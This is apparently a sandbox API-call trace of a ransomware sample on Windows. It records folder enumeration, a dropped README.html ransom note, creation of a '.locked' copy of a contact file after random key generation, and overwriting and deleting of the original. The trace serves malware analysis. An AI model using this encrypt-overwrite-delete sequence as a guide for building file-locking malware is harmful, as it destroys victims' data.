	[0082.469] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x127ef6c0 | out: lpFindFileData=0x127ef6c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.471] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.471] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\control panel.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e23c8 | out: lpFileInformation=0x127e23c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dd8af29, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e084aaf, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106)) returned 1
	[0082.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e2418 | out: lpFileInformation=0x127e2418*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec119aaf, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2e2)) returned 1
	[0082.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\internet explorer (no add-ons).lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e2468 | out: lpFileInformation=0x127e2468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6392a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5db)) returned 1
	[0082.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\private character editor.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e24b8 | out: lpFileInformation=0x127e24b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d3d87bb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d424a7b, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x51a)) returned 1
	[0082.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\computer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e2508 | out: lpFileInformation=0x127e2508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ddd71ea, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e0d0d6f, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106)) returned 1
	[0082.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\windows explorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e2558 | out: lpFileInformation=0x127e2558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dc80587, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc)) returned 1
	[0082.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools"), fInfoLevelId=0x0, lpFileInformation=0x127e25a8 | out: lpFileInformation=0x127e25a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.473] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.473] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x127ef724 | out: lpFindFileData=0x127ef724*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.473] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.473] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\administrative tools\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e2648 | out: lpFileInformation=0x127e2648*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1
	[0082.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer (64-bit).lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer (64-bit).lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e2698 | out: lpFileInformation=0x127e2698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x587)) returned 1
	[0082.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Internet Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\internet explorer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e26e8 | out: lpFileInformation=0x127e26e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6392a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9)) returned 1
	[0082.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance"), fInfoLevelId=0x0, lpFileInformation=0x127e2738 | out: lpFileInformation=0x127e2738*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.474] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.474] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x127ef724 | out: lpFindFileData=0x127ef724*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.474] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e2828 | out: lpFileInformation=0x127e2828*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec165d69, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e05e94e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x13e)) returned 1
	[0082.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Help.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\help.lnk"), fInfoLevelId=0x0, lpFileInformation=0x127e2878 | out: lpFileInformation=0x127e2878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dd3ec69, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e0387ee, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106)) returned 1
	[0082.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup"), fInfoLevelId=0x0, lpFileInformation=0x127e28c8 | out: lpFileInformation=0x127e28c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.475] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.475] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x127ef724 | out: lpFindFileData=0x127ef724*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.475] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e2968 | out: lpFileInformation=0x127e2968*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1
	[0082.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e29b8 | out: lpFileInformation=0x127e29b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1dc)) returned 1
	[0082.475] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e2a08 | out: lpFileInformation=0x127e2a08*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x63dece0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x63dece0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1
	[0082.478] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Templates" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.478] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda4e0ba, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaef15879, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.478] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\themes"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.478] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xef632f84, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.479] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts" (normalized: "c:\\users\\default\\contacts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.479] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.479] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\README.html" (normalized: "c:\\users\\default\\contacts\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.480] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.480] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0c80*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.482] CloseHandle (hObject=0xc0) returned 1
	[0082.482] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x127e5810*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x127e5810*, lpNumberOfCharsWritten=0x127ee914*=0x34) returned 1
	[0082.488] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.488] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0082.488] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact.locked" (normalized: "c:\\users\\default\\contacts\\administrator.contact.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0082.490] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0082.491] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123d7f20 | out: pbBuffer=0x123d7f20) returned 1
	[0082.491] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x1238ff70 | out: pbBuffer=0x1238ff70) returned 1
	[0082.491] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x127e1301 | out: pbBuffer=0x127e1301) returned 1
	[0082.491] WriteFile (in: hFile=0xc4, lpBuffer=0x1266b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1266b000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0082.493] SetEvent (hEvent=0x80) returned 1
	[0082.493] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x10b1e, lpOverlapped=0x0) returned 1
	[0082.496] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x10b1e, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x10b1e, lpOverlapped=0x0) returned 1
	[0082.497] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0082.497] CloseHandle (hObject=0xc4) returned 1
	[0082.498] CloseHandle (hObject=0xc0) returned 1
	[0082.498] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1267a000*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1267a000*, lpNumberOfCharsWritten=0x127ee8a0*=0x34) returned 1
	[0082.499] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.500] DeleteFileW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact")) returned 1
	[0082.505] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.505] SetEvent (hEvent=0xa8) returned 1
	[0082.505] SetEvent (hEvent=0x80) returned 1
	[0082.506] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.507] SetEvent (hEvent=0x80) returned 1
	[0082.507] SetEvent (hEvent=0xb4) returned 1
	[0082.507] SetEvent (hEvent=0x78) returned 1
	[0082.507] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.507] SetEvent (hEvent=0x78) returned 1
	[0082.524] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.524] SetEvent (hEvent=0xa8) returned 1
	[0082.524] SetEvent (hEvent=0x78) returned 1
	[0082.526] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.526] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0082.526] SetEvent (hEvent=0x78) returned 1
	[0082.526] SetEvent (hEvent=0xb4) returned 1
	[0082.526] SetEvent (hEvent=0x80) returned 1
	[0082.526] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.526] SetEvent (hEvent=0x80) returned 1
	[0082.527] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.527] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0082.528] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0082.544] CloseHandle (hObject=0xc0) returned 1
	[0082.544] DeleteFileW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact")) returned 1
	[0082.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Contacts\\desktop.ini" (normalized: "c:\\users\\default\\contacts\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c)) returned 1
	[0082.547] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Cookies" (normalized: "c:\\users\\default\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
